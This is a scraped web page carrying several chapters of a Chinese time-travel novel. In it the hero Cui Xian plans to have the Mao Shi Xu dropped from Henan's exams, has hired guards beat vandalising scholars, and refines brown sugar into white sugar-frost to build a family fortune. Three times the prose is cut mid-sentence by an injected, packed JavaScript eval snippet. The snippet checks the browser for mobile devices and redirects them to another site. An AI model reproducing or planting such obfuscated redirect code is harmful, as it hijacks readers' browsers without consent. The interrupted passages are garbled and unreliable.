“愿咱这方寸地,像颗小火苗,慢慢焐,把这个‘小梦想’焐热了,焐亮了。” “让那好日子的新芽儿,从咱手底下,从这土里头,一点点拱出来,铺开去……绿了这中原,暖了这天下!” “哥几个一起,把这颗实心的种,埋进土里,浇灌它,守着它……直到绿荫满地的那一天。” 说得好! “敬好日子!” “敬今日正式相识!” “敬咱们自己!” 小院子里,一群人齐齐仰头畅饮。 一碗酒下肚,庄瑾脸色有些微红,他笑道:“听起来,咱们五个兄弟,还有今日新加入的兄弟们,又要联手去干一件大事儿了。” “但这酒也喝了,人也聚起来了,其余的先不说,总得先有个目标吧?” “要不然这酒,总觉得喝的不踏实。” 目标啊? 因为喝了酒,崔岘身上带着酒劲儿,人也变得比平常肆意张扬些。 在众人呆滞的注视下,他扬眉笑道:“那就定个小目标吧!” “先说个事儿啊兄弟们,我准备明年下场,继续考科举了。” “所以在明年科举到来之前,我要掀起一场废除《毛诗序》的经学**,并注释新的《诗集传》。” “因为还未入庙堂,我暂时无法彻底更改科举规则,但我可以挑战规则。直到未来某一天,我走到高位,重新定制新规则。” “所以咱们的小目标就是,将《毛诗序》拉下经学神坛。至少,明年我步入科举考场的时候——” “整个河南境内,科举考题,禁用《毛诗序》。” 嘶! 听完崔岘这番话,全场所有人齐齐倒抽冷气。 好家伙! 别人是去科举的,你是去改科举规则和教材的? 兄弟,牛逼。 203、格物致知:由白糖开始的轻工业革新(上) 203、格物致知:由白糖开始的轻工业革新(上) 但,想要更改科举规则,何其艰难。 就算暂时只在河南境内禁考《毛诗序》,也是非常不现实的啊! 裴坚等人嘴上非常捧场,直呼‘兄弟牛逼’。 可其实一群人心里都没底气。 散场离开之前。 严思远到底是没忍住,忐忑问道:“真能做到吗?我不是不相信你,但说实话,我想不到任何成功的可能。 要知道,那可是科举啊! 岂能因一人之力而随意更改规则? 其余人闻言,都齐刷刷看向崔岘。 崔岘笑眯眯道:“你们且等着,过些时日,自有答案。 他姿态从容自信。 搞得严思远、苏祈等人心脏莫名跳动—— 虽说理智上依旧觉得不可能,但,万一呢?! 从崔家离开的路上。 裴坚轻叹一口气,看向庄瑾、李鹤聿、高奇:“本来以为,咱们几个考上秀才,总算是能给岘弟撑腰了。 “结果好家伙,岘弟要办的事情,越来越生猛了。 他们如今考中了秀才,已经进了开封府学读书。 可好像还有点不够看? 但没办法,谁让他们给岘弟做了大哥呢。 小弟想要办大事儿,当大哥的,岂能不支持? 李鹤聿笑道:“哥几个,还得努力啊。 月下。 四个少年嘻嘻哈哈,朝着开封府学方向走去。 四道影子被拉得很长、很长。 这一夜,听完崔岘演讲的一群人,都激动的没睡好。 尤其是老崔氏。 她坚信,自家小孙子,从不说空话! 而且崔岘先前也透露过,除了台上辩经,台下发展河南崔氏,同样是重中之重。 这更改科举规则的可能性,多半就在‘河南崔氏’这里了。 四舍五入,她这位崔家之主,扛起了河南科举、乃至大梁科举革新的责任啊! 因此。 激动到一夜没睡好的老崔氏,早早起床,打算拉着岘哥儿去做‘市场调研’。 可让老崔氏愤怒的是。 她刚起床,便听到院门外传来一阵喧哗吵嚷。 由于动静太大,一家子人先后都被吵醒,疑惑出来查看情况。 便见崔家大门外,一片狼藉。 各种烂菜叶子、树枝、粪便等等,洒的到处都是。 大门上、墙上还写着‘经贼’、‘崔岘该死’等触目惊心的字迹。 几个身材魁梧的壮汉,正愤怒把五六个老儒按在地上呵斥。 虽说此刻时间尚早,但仍旧引来很多街坊邻居围观。 瞧见这一幕的老崔氏气的直哆嗦,怒道:“你们在干什么! 跟在祖母身后出来的崔岘,也狠狠蹙起眉头。 他看向那群被按住的老儒,心里有数了——因为其中一位,正是昨日在台下骂他,又不敢上来辩经的那人。 这是台上辩不过,来玩儿脏的了? 到底谁才是‘经贼’啊! 几个壮汉听到老崔氏的声音,齐齐抬头喊‘东家’。 其中脸上有道刀疤,最为壮硕的那个中年男人,沉声解释道:“东家,我们按照您的意思,今早登门来护卫小东家。 “结果刚好瞧见这群老东西,在您家门外作恶! 那被按在地上的几个老儒,让当场抓包也不畏惧,反倒大声嘶吼道:“经贼,你该—— 没等那老儒说完。 崔岘抬了抬眼皮,干脆利落道:“打! 这几位壮汉,是崔家镖局的伙计。听到小东家发话,自然照办。 他们很懂拳脚,**的时候,不打出致命伤,但却疼的那几个老儒哭爹喊娘,连连求饶。 最后见崔岘一直不喊停。 老儒们彻底被打怕了:“别打了,我们错了,我们赔钱!赔五两,不,赔十两! 崔岘摆摆手,示意壮汉们停手。 等那几个老儒,哆嗦着把钱递过来以后。 他冷冷道:“报官吧。 那个被打到鼻青脸肿的老儒怒道:“我们都赔钱了,你为何还要报官? 崔岘瞥了他一眼:“什么钱?赔给谁了,我没收到。 几位老儒:??? 到此刻 读书读坏掉的脑子也反应过来眼前这少年郎只是在辩经台上温和谦逊。 实则是个不好惹的黑心肠! 然而晚了。 除了那位脸上有刀疤的壮硕中年人留下。 其余几个壮汉押着老儒们由崔伯山、崔仲渊兄弟带着去衙门报官。 陈氏、林氏咬牙切齿张罗下人们清理门前的狼藉。 大早上经历这么一出恶心的事情任谁都觉得晦气! 老崔氏也气但她冷静下来看向那位脸上有刀疤的中年人说道:“大山得亏这次有你在。” “你们兄弟几个以后就负责跟在岘哥儿身边护他周全。” 大山闻言把胸脯拍的邦邦响:“放心吧东家我们一定会保护好小东家的!” 他刚说完话。 便见一个白花花的物什朝着自己砸来大山下意识接过然后眼睛都瞪直了——正是刚才那老儒们赔付的十两银子。 崔岘朝他笑道:“兄弟几个今天辛苦了回去分一分。” “还有你身边要是有靠得住的好汉十个八个不嫌少都喊过来绝对不让兄弟们吃亏。” 十两银子! 那可是十两银子啊! 瞧见小东家的第一眼大山就知道小东家这人能处! 以后谁敢欺负小东家我大山第一个**他! 大山在心里疯狂激动叫嚣又担心小东家嫌弃自己不稳重忍住激动重重点头:“小东家放心我今天回去就去找人!绝对靠谱!” 老崔氏在旁边看着非但没有心疼钱反而对小孙子‘砸钱’的办法非常赞许。 对待身边人一定要大方不然人家凭什么替你卖命? 崔岘要走的路很危险。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088494|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日老儒们上门**只是个开始以后糟糕的情况只会越来越多。 崔家确实需要组建一个护卫队伍了! 可怎么还是觉得那么憋屈呢? 老崔氏看了看自家门口的狼藉深吸一口气认真对崔岘说道:“岘哥儿祖母觉得难受。” “但凡咱们家今日是个高门煊赫世家这几个老儒背地里骂的再狠也不 敢来上门挑衅。” “说白了,还是咱们不够厉害。” “祖母记得,你先前说过。等咱们发展成河南崔氏的那一天,哪怕是反对的叫嚣声,也会变得乖巧温顺。” 老崔氏这话,让陈氏、林氏,以及崔钰、崔璇都看了过来。 连小崔璎都气鼓鼓的! 一家子人眼睛里,都是憋屈,与昂扬斗志! 崔岘朝他们安抚般笑了笑,道:“说实话,我也觉得难受。既然这样,我们也不必闷着,走,出门。” “去找能成为河南崔氏的办法。” 啊? 现在,直接出门去找吗? 去大街上找? 怎么听起来……跟闹着玩儿似的啊! 哪怕满心斗志,可跟着崔岘出门后,老崔氏等人神情还是有些晕乎。 甚至还有点近乎鬼鬼祟祟的‘偷感’。 辰时。 天刚蒙蒙亮,暑气还未蒸腾起来,州桥码头的却已人声鼎沸。 桥头卖炊饼的汉子,早已支起炉子,面饼贴在铁鏊上,“滋啦”一声,白汽腾起。 隔壁茶摊的老汉拎着铜壶冲茶,滚水浇进粗瓷碗,茶沫打着旋儿浮起,苦香混着炊饼的焦香,勾得赶早的脚夫直咽口水。 “让让!让让!”挑着鲜鱼的渔户从人缝里钻过。 桥南的杂货市更是喧腾。 卖篾器的摊主抖开新编的竹筛,陶匠蹲在路边,“叮叮当当”敲着酒壶。 最热闹的还数香料摊——胡椒、茴香、桂皮堆成小山,胡商操着生硬的官话比划价钱,引得戴网巾的妇人凑近嗅闻,又捏着帕子掩鼻打喷嚏。 崔岘没吃早食,买了几个炊饼分给众人,一边吃,一边闲逛,目光在早市上来回巡视。 搞得老崔氏等人,心脏怦怦跳。 卖炊饼的、冲茶的……哪里有半点赚大钱的样子? 难不成要做香料买卖? 但出于对崔岘的信任,他们又觉得,这个普通到不能再普通的早市,处处都是‘金疙瘩’。 所以看这个也像商机,看那个也像商机。 以至于跟在崔家人身后,第一天上工的护卫大山在心里直犯嘀咕:东家这一家子,看起来有点奇怪。 不管了! 保护少东家要紧! 大山压下心中的狐疑,一双眼睛瞪的像铜铃,所有靠近少东家的人,都在他的巡视当中。 而崔岘看似在漫无目的闲逛,等走进杂货市,鼻尖嗅到一股甜腻焦香的时候,在心里笑道:就你了! 那是糖的味道。 同样也是金钱、权利的味道。 204、格物致知:由白糖开始的轻工业革新(中) 204、格物致知:由白糖开始的轻工业革新(中) 不仅崔岘闻到了糖的味道。 这股甜腻的焦糖香、混着码头鱼腥气和各种早食的香味儿,勾得州桥码头行人频频驻足张望,却少有人敢上前问价。 杂货市。 徐记糖铺外已围了一圈人。 这家铺子不大,却收拾得极是讲究。 铺子里,檀木柜台后面。 站着一个约莫四十来岁的精瘦汉子,他穿着靛蓝绸衫、懒散倚在柜台处,手中两颗包浆核桃盘的咔咔作响。 面对围在外面的一圈人,眼皮都懒得抬。 此人,便是徐记糖铺的掌柜,徐三福。 这年头,糖是最为稀缺珍贵的好东西之一,怎么着都不愁卖。 所以徐三福半点没有‘服务顾客’的意识。 崔岘远远瞧见那家糖铺,抬脚往前走。 新上任的‘保镖’大山紧紧跟随。 后面,老崔氏、林氏、陈氏等人快步跟上。 被崔钰抱在怀里的崔璎眼睛猛然亮起来,欢呼道:“太好咯,阿兄要给我买糖吃啦!” 陈氏回头嗔怪瞪了一眼闺女:“见到吃的你就来劲儿,阿兄要办正事儿呢!” 一家人都跟着笑。 但眼睛都下意识看向那‘徐记糖铺’,心生无限期待。 难道岘哥儿说的,能成为河南崔氏的生意,是开糖铺子?! 那前期投入的成本,就会被无限拔高。 学了五年‘会计’的陈氏,眼珠子盯着那糖铺滴溜溜转,心里已经开始计算着前期投入金额的问题。 而‘行政人事’林氏,则是在想,要是开糖铺子,选址在哪个旺市,再去哪家撬个有经验的掌柜。 至于老崔氏嘛,她在想,走哪个官老爷的人脉,能打通采购糖的便宜渠道。 值得肯定的是,她们这仨女人,是真的成长了许多。 无愧于这五年来的学习沉淀。 但,她们显然还是低估了崔岘的能力和手段。 崔岘确实想做糖相关的生意。 但不是开糖铺子倒卖糖,而是自己生产糖,开白糖作坊。 要制作白糖 但现在七月份并不是甘蔗成熟期。 而且如今的开封地区若是不经过培育改良是不适合种植甘蔗的。 大梁王朝最大的甘蔗种植区远在闽南。 所以崔岘只能暂时换个法子放弃原材料甘蔗改用红糖来提炼白糖。 崔岘心里想着这些刚走到徐记糖铺外。 几个衣衫褴褛的孩子扒着门框眼巴巴地盯着里面货架上的糖瓮。 其中一个小女娃扯着娘亲的袖子小声哀求:“娘我想舔一口糖勺……” 妇人叹了口气。 她从怀里摸出五枚铜钱犹豫再三终于递过去:“掌柜的能……能刮点罐底的糖渣吗?” 徐三福嗤笑一声随手舀了半勺馊黄的麦芽饴:“吃吧吃了赶紧走耽误我做生意。” 妇人咬牙点头交了钱。 那女娃立刻扑过去闭眼嘬尽勺上的糖浆黏稠的糖丝挂在她皴裂、却幸福弯起来的嘴角。 其余孩子们羡慕的直咽口水。 不远处一个挑担的脚夫擦了擦汗望着糖铺苦笑:“这糖啊咱们干一个月活也买不起半斤。” 崔岘默默看着这一幕抬脚走进糖铺。 将糖勺嫌弃收回随手扔进饴糖罐子的徐三福察觉到有人进来掀了掀眼皮神情微愣。 而后在围观众人不可思议的注视下。 便见这位原本神情倨傲的掌柜露出一个殷勤到极点的笑容:“哎呦我说今儿个怎么总听见外面喜鹊叽叽喳喳的叫呢原来是有贵客登门了!” “昨日我去开封府学凑热闹崔先生昨日在辩经台上的风姿实在是令人敬仰!我老徐一介粗人最佩服有才华的读书人。” “崔先生您要买什么糖?来来先尝一尝。” 说着。 徐三福热情把货架上的糖瓮都一一打开。 那几个大瓮里分别装着饴糖、黑砂糖、普通白糖。 饴糖属于最便宜的糖三十文钱可以买一斤甜味儿很淡普通百姓才会买这种劣质糖。 而黑砂糖其实就是红糖要一百文一斤。 至于普通白糖其实并非是白色的 ,而是焦黄色的。可价格足足要一千文,也就是一两银子一斤。 听起来似乎价格还算可以。 但换算一下,一斤普通白糖的价格,可以买将近150斤的大米。 就算是最劣质的饴糖,也要足足四斤半的大米,才能换来一斤。 由此足以看的出来,这个年代糖有多么珍贵。 崔岘朝着那几个糖瓮瞧了瞧,目光略过黑糖、普通白糖,看向最里面一个精致小瓷罐。 瓷罐上贴着‘糖霜’的标签。 这糖霜,其实才是现代人口中的‘白糖’。 也是崔岘即将准备开糖作坊,计划大量生产,掀起轻工业革新的好东西。 在徐三福紧张的注视下。 便见崔岘打开那小罐糖霜,凑过去张望。 徐三福‘哎呦’一声,连忙将糖霜罐子跟祖宗似的护在怀里,紧张兮兮道:“崔先生,这可是糖霜啊,您可不能乱动! “这一斤糖霜,值五两银子!纵观整个开封府,也找不出几罐糖霜了! 此话不假。 如今大梁王朝的糖霜,产能低得骇人。 大约一千斤的甘蔗,能产出半斤的糖霜就算‘大丰收’。 而且耗时还需要足足数月。 莫说开封这样的中原雄城,哪怕是金陵、甚至京城,每年流通的糖霜,也就百余来斤。 其中半数,还得先让宫里的贵人享用。 显然,仅仅靠大梁王朝内部的糖霜产能,是不够用的。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088495|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以每年大梁还要花费大量金钱,去进口印度糖、和阿拉伯的‘西洋糖’。 一个小小的‘脱色’难题,让大梁制糖业,走了几百年的弯路。 但其实,崔岘是想尝一尝‘糖霜’的味道,好做个对比。 他穿越过来五六年,还真不知道这玩意儿的味道——南阳那十八线小县城,哪里有卖这种金贵东西的? 见徐三福抱着糖霜不撒手,崔岘笑看向那黑糖:“那黑砂糖,怎么卖的? 徐三福道:“先生,糖瓮上写了,一百文一斤。 听说崔岘要买黑砂糖,徐三福没有先前那么热情了。 结果却听崔岘道:“我看到了,但我买的多,你给我 个最低价。” 啊这。 徐三福嘟囔道:“现在黑砂糖的市价就这样,怎么给低价……” 崔岘:“我买一千斤。” 徐三福傻了。 外面围观的人群傻了。 甚至连跟着走进来的老崔氏等人,也都傻了。 多少? 一千斤?! 徐三福反应过来,激动着把手中的糖霜递过去:“崔先生,您随便看,就算尝尝也行!” 崔岘捻了一些糖霜放进嘴里品尝,说实话,味道很一般。 他没有给予评价,眼底却浮现出一抹野心。 但徐三福却激动的不行,看着崔岘的目光犹如看祖宗:“崔先生,我这里,只有二百斤的黑砂糖!这样,我给您算八十文一斤,如何?” “至于其他的八百斤,我去帮您调货!也都按照八十文来算!” “您放心,我以自个儿进货的名义去调货,绝不透露您的身份!” 崔岘有些惊讶于这个掌柜的挺会做人,笑道:“行。” 在老崔氏等人哆嗦的注视下,这个高达八十两的生意,就这样简单做成了。 那可是八十两啊! 能在开封府城买一套房子了! 但,出于对岘哥儿的信任,老崔氏等人愣是忍住了,什么都没说。 当日午后。 足足上千斤黑砂糖,堆在崔家的院子。 不仅跟着崔岘去‘调研’的老崔氏等人,还有清晨去报官的崔伯山、崔仲渊兄弟,一家子人都看着那堆起来的黑砂糖,神情忐忑又纠结。 最后,还是老崔氏没忍住,小心问道:“岘哥儿,咱们是要做倒卖黑砂糖的生意吗?” 八十文每斤购入,一百文每斤卖出,确实能赚钱。 但似乎距离成长为河南崔氏,还差的很远吧? 迎着一家子呆滞的目光,崔岘咧开嘴笑道:“不,咱们接下来要做的,是把这些黑砂糖,全部变成糖霜。” 崔家人闻言:??? 黑砂糖一百文一斤。 糖霜五千文一斤。 你怎么变? 这都不仅仅是异想天开做梦了! 这是你在梦里抢钱呢! 205、格物致知:由白糖开始的轻工业革新(下) 205、格物致知:由白糖开始的轻工业革新(下) 但其实崔岘真的可以把黑砂糖变成糖霜。 这个方法记录于一本叫做《天工开物》的旷世奇书当中其名字叫做:黄泥水淋糖法。 只是经过现代实证 它缺少了一个关键性的步骤:活性炭。 好在这个活性炭也算是很好解决的问题。 迎着一家人不可置信的目光。 崔岘扬眉笑道:“怎么不相信?我这些年博览群书可不仅仅只是学习之乎者也。” “也学习了一些利国利民的实干知识所以是时候让你们见识见识‘格物致知’的奇迹了!” 崔钰闻言蹙眉问道:“格物致知?阿弟此句出自《礼记·大学》:致知在格物物格而后知至。” “郑玄将其注释为:知善深则来善物。是为道德因果论。” “这和你黑砂糖变糖霜有何关联呢?” 崔仲渊、崔伯山闻言也都看向崔岘。 如今他们三人都考中了秀才和裴坚等人一样皆在开封府学读书。 算起来一群人当中唯有学识最高的崔岘目前才只是童生。 崔岘闻言神情微怔随后无奈苦笑。 阿兄这个疑惑让他再次意识到妄图做思想改革是个多么难的事情。 因为仅就‘格物致知’而言就经历了四次更迭。 首先是崔钰说的郑玄注释为:知善深则来善物。 在崔岘曾经生活的时空。 朱熹否定郑玄将格物致知注释为:外求物理以悟道。他提倡即物穷理豁然贯通。 再后来。 王阳明否定朱熹将格物致知注释为:心外无理向内求索。他提倡格者正也。 直到后来的后来。 明清实学家颜元提出实践出真知。他将这四个字注释为:行先于知强调实证。他提倡手格其物而后知至。 这也是刚才崔岘说‘格物致知’的真正意思。 由此可见。 格物致知本为儒家修身步骤经朱熹、王阳明诠释分化 出‘外向认知’与‘内向修养’两条路径。 最终在明清实学中孕育出接近科学精神的实践观,成为中国哲学对接近代科学的桥梁。 崔钰这番疑惑,让崔岘意识到,思想改革的难度。 以及,他要考虑,提出独属于自己的‘思想纲领’了。 生硬照搬朱熹的思想,或者照搬王阳明的思想,对于如今的大梁来说,是完全不合适的! 成圣的路,无法抄袭复刻。 那,就走出独属于我崔岘,自己的路吧! 而他的底气,就来源于眼前这一千斤黑砂糖! 思想革新太难?工业革新开路! 心中这样想着。 崔岘扬眉看向崔钰,笑的格外肆意:“郑玄注释的,难道就一定对吗?我对格物致知,有着不同的理解,改天说与阿兄听。 “今日,咱们先把眼前这千斤黑砂糖,变成糖霜! 啊? 不是……真能变啊? 老崔氏心脏‘砰砰砰’跳动,涨红着脸说道:“岘哥儿,你说怎么做,咱一大家子,都听你调遣! 若是真能把一百文一斤的黑砂糖,变成五千文一斤的糖霜—— 足足五十倍利润! 天呐! 那这样一来,还真可以成为河南崔氏了! 迎着一家子期待、激动、忐忑、不可置信的目光,崔岘笑道:“好,接下来,我需要咱们一家人齐心协力,帮我去找工具材料。 “首先,是黑砂糖,咱们已经买好了。但是为了熬制黑砂糖,得准备一口很大的陶缸,和两三个小陶缸。 “其次,需要松江标布,去布庄买,得是双层的。除了松江标布,还需要葛布。 “再准备五十个新鲜土鸡蛋,剔除蛋黄,只要蛋清。 “然后,需要竹炭,且是颗粒炭。先定一百斤,跟他们说,不要嫌弃麻烦。以后,全开封的炭坊,都得仰仗咱家做生意。 “如果竹炭不好做,可以换成开封特产枣木炭,效果是一样的。 “接着,去挖黄泥,也就是杭州观音土……唔,开封没有这玩意儿。但没关系,咱们可以换成黄河澄泥,效果比观音土更好。 “除了黄河澄泥,还需要黄河沙 子。” “我想想,还需要棕榈叶……这玩意儿开封也没有,那就换成芦苇!” “但是芦苇缝隙太大,所以需要再弄一批稻壳灰。” “哦对了,还需要一批竹筐,要选三年的**生竹。竹筐的孔隙……约莫绿豆大小!” “以及,去酒坊买几个锥形漏斗!” 这些要求看似繁琐。 但其实都不算难。 在老崔氏的带领下,一家子很快开始行动起来。 不出一个多时辰,所有的东西都准备齐全。 崔家小院里,所有人都神情期待、振奋的看着岘哥儿。 崔岘看向那被架起来,底部堆放柴火的大陶缸,笑道:“爹,大伯。先加十担井水,而后把黑砂糖倒进去,开始搅拌。” “接着生火,直到水温……额,触摸起来微微烫手。把铜钱丢进缸里,沉底后缓缓浮起,就说明合格了!” 其实水温是六十度刚好合适,但现在没有仪器,只能用手触摸。 浓度也需要计算,不过可以用铜钱来测。 崔伯山、崔仲渊兄弟很快就倒了十担水进大缸。 只是,把黑砂糖往里面倒的时候,一家子人心脏都在哆嗦。 那可是八十两银子啊! 虽然相信岘哥儿,可……这看起来跟打水漂似乎也没什么区别了! 最后还是老崔氏一咬牙:“往里倒吧!” 区区八十两银子,**又如何! 一千斤黑砂糖很快被倒进去。 崔钰负责搅拌。 很快,温度够了,浓度也够了。 接下来就是第二步:过滤。 林氏、陈氏妯娌齐齐上阵,将热糖液趁热倾倒入滤架——上层是松江标布、下层是葛布。 而在滤架下方,是稍小一些的陶缸。 这一步,是过滤掉杂质。 接下来,仍旧是过滤杂质,但这一步更为关键。 把分离出来的蛋清打至起泡,倒入糖液当中。 而后,需要静置整整三个时辰。 这其中的每一步,都是有论证的! 比如最开始的棉布过滤,《天工开物》载:澄糖器 用密布。 而鸡蛋清二次深度过滤,则是出自嘉靖御药房用蛋清澄药液。《本草品汇精要》载:取鸡子清搅浊水即清。 但这一步过于耗时。 崔家人早已疲惫不堪,因此,连最有拼劲的老崔氏最后都熬不住,回房去休息了。 次日清晨。 最先起床的陈氏兴奋惊呼道:“杂质都浮上来了! 没睡多久的一家子人纷纷起床,而后激动发现,还真是! 蛋清裹挟着糖浆里的杂质,全部漂浮起来。 将褐色浮沫撇出,缸里的黑色糖浆,颜色清浅了特别多! 到这个时候,一家子才是真的瞠目结舌,心脏怦怦跳,看到了希望! 老崔氏捂住胸口,对崔岘说道:“岘哥儿,接下来呢,要怎么做? 接下来啊,那就是竹炭过滤,也就是脱色关键了。 这一步,同样有出处。 晚明《物理小识》记载:竹炭清水,其色如空。 在竹筐底部,分别铺上芦苇席、稻壳灰、颗粒碳、黄河沙。 将糖浆倒进去,用活性炭进行过滤。 令人震惊激动的一幕来了! 二次过滤的糖浆,颜色又变白了许多! 娘嘞! 老崔氏一边忙活,一边直呼‘娘嘞’,激动的直哆嗦。 其余崔家人也没好到哪里去。 真……就在他们眼皮子底下,黑砂糖变白了?! 但到了此时,还没完。 要把炭滤糖液,再次煮至粘稠,也就是拉丝状。 趁热灌入漏斗,再覆麦秸梗保温结晶。 这一步做完,要再等一日。 一日后揭麦秸梗,浇淋黄河澄泥水。 而这里的浇淋黄泥水,便是《天工开物》里记载的:黄泥水淋糖法。 浇淋黄泥水后,能得到灰白的糖块。 再把糖块碾碎,晾晒七日,让其表层硬化、水分渗出、深度干燥。完成从坚硬灰白,到硬脆易碎透光雪白的转化。 最后,就成了雪白雪白的‘糖霜’。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088496|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 将所有的糖浆,都灌进漏斗里后,忙活了一天一夜的一家子,都累到气喘吁吁。 但一个个眼睛却格外的亮表情十分激动! 虽然尚且没有正式见到‘糖霜’但她们可是亲眼见证着黑砂糖一步、一步褪色的啊! 简直就是奇迹! 老崔氏激动道:“黑砂糖变糖霜老天爷咱家真的要发财了啊!” 只是发财吗? 崔岘抹了把额头上的汗渍笑眯眯道:“祖母咱们家可不仅仅是发财那么简单。” 一句话让全家人都振奋看过来。 崔岘认真解释道:“如今只是没有到甘蔗上市的日子所以熬制糖霜只能靠价格昂贵的黑砂糖。” “等甘蔗上市了咱就不用买黑砂糖而是去买便宜低廉的甘蔗。” “如今盛产甘蔗的地域在闽南。” “我们先购买黑糖制造白糖积累资本。等再过一两个月就可以雇佣漕船去闽南大量购买十月份成熟的便宜甘蔗。” “把甘蔗拉回开封后我们就可以放开手脚去建造糖坊。” “开封挨着黄河有天然的水利资源所以我们可以建造水利糖坊加大生产量。一家大型糖坊可以养活数百 “我们开上数十家糖坊到时候别的不敢说至少开封府的税收咱们可以给它提升一半!能养活上万的工匠!” 嘶! 听到这话一家人都惊呆了。 但更让他们震惊的还在后面。 崔岘继续道:“甘蔗制作糖霜可不仅仅只能制作糖霜。” “食品加工方面我们可以做冰糖、糖塑蜜饯糖酒糖果果醋。” “轻工业方面废弃的甘蔗渣可以造纸。蜜糖可以制造酒精还可以用残渣制作肥料。” “而医药方面可以制造止咳糖浆还能用来做伤口消毒剂。前者惠及民生后者我们可以跟军队合作!” “以后黄河上的漕船全是咱家的。运输甘蔗运输糖霜运输糖果、纸张止咳糖浆。” “我们甚至可以跟闽南方面合作开垦荒地大量种植甘蔗。” “亦或者将闽南的甘蔗培育后移植到开封地区成为新中原甘蔗产区。” “我们可以形成一个河南到闽南的白糖帮扶 产业链。” “届时,莫说整个开封,整个河南的经济税收,至少能提升一到两成!” “咱们家,能为数万个工匠百姓提供岗位。牵扯到的行业,更是数不胜数。” “这河南崔氏的名头,咱家要定了!” 老天呐! 崔岘说的这话,把一家子人都听得合不拢嘴,满眼呆滞。 老崔氏狠狠咽了口唾沫,勉强找回理智:“这么大的生意……咱家,咱家怕是吃不下吧。” 崔岘赞许看了一眼祖母。 而后道:“这么大的生意,咱们当然吃不下。好在,孙儿还有位首辅师祖,甚至还有个皇帝笔友。” “天下熙熙,皆为利来。师祖的派系需要钱,皇帝的私库,自然也需要钱。” “到时候,把利润分给师祖。那么哪怕我推翻经书,推翻科举制,也不会让师祖为难。因为师祖后面那些人,得靠我养活!” “再把利润分给皇帝,他自然会无条件站在我身后,支持新学革新!” “要是皇帝胃口太大,那我就进一步,搞白糖出口!将白糖炒成继大梁丝绸、瓷器后的第三支柱产品!数以万计、十万计的白银回流,不仅能养活皇帝。” “还能养活几十万军队!” “到了那个时候,谁敢跟我说新学不行?” “当然这一步太远,需要很多年才能实现,就说眼前。” 崔岘微笑道:“明年科举考试开考前,咱们家至少已经开了七八家糖坊,养活着大几千工匠。” “产业经营遍布开封,整个开封府的税收,能给它提高两成。” “新任河南布政使,估计马上就要来赴任了。他要是不找我麻烦,我就把这功绩送给他。” “他要是找我麻烦——开封府两成税收功绩都敢丢开,我马上就能向皇帝参他一本!” “总之,这个功绩,我就要塞他嘴里去!” “他吃了这个功绩,就得按照我的意思来办事儿!” “我会告诉他——” “明年河南科举,禁考《毛诗序》。” 206、十问《尚书》,注释《诗经》!(上) 206、十问《尚书》注释《诗经》!(上) 崔家。 听完岘哥儿的话一家子人这才震撼反应过来—— 按照这个发展明年河南科举禁考《毛诗序》还真能被崔岘给办到! 老天呐。 难以想象这件事到时候会在全大梁引发多么大的轰动! 不都不用等明年科举。 单是由白糖引发的一系列产业链马上就能自开封点燃起一场蔓延全大梁的‘轻工业革新’之火! 思想革新与工业革新并行。 士、农、工、商全部都要参与进来! 既然要搞事情就使劲搞一把大的! 但最基础的前提是糖霜能被顺利提炼出来。 所以接下来两天老崔氏等人小心翼翼按照崔岘的指示用黄泥水浇淋灌满糖浆的漏斗。 直到第三日清晨。 漏斗下方凝结了大块、大块的灰白色糖块! 这些糖块虽然不是洁白无瑕的颜色但是在阳光下闪烁着漂亮的光泽。 老崔氏布满泥浆的手不停颤抖她看了看那灰白色糖块又看了旁边装黑砂糖的袋子。这才敢确定黑砂糖真的全都变成白糖了! 崔钰、崔伯山、崔仲渊三人兴奋把白色糖块都收集起来上秤测重量。 接着便见崔伯山惊呼道:“1300斤?怎么可能?” 这声惊呼让本就震撼的老崔氏再次狠狠抖了抖脸皮。 一千斤黑砂糖熬制出来一千三百斤的白糖? 抢钱都没这么生猛吧! 迎着一家子人激动不已的目光崔岘无奈笑道:“想什么呢?这些糖块里面 “等其中的水分被晒出去灰白色的糖就会变成糖霜。” “但晾晒完以后重量肯定会缩水。一千斤黑砂糖能产出七百斤糖霜就算好得了。” 七百斤? 按照每斤糖霜五两银子来算…… 老崔氏捂住胸口:“哎呦不行了我都不敢想。钰哥儿你给祖母算算账。” 崔钰咽了口唾沫:“是三千五百两。” 而崔岘买黑砂糖只花了……八十两! “这都是小钱咱们啊得往更大的目标去努力。” 崔岘咧开嘴笑道:“祖母接下来一个半月我会暂停辩经。你们全力提炼糖霜积攒第一笔启动资金。” “然后开始招工大量招工!建白糖作坊蜜饯作坊果酒作坊。” “初步预计先招三千人。” “所以祖母大伯母娘阿姐。接下来得靠你们了!” 一口气招三千人? 好家伙! 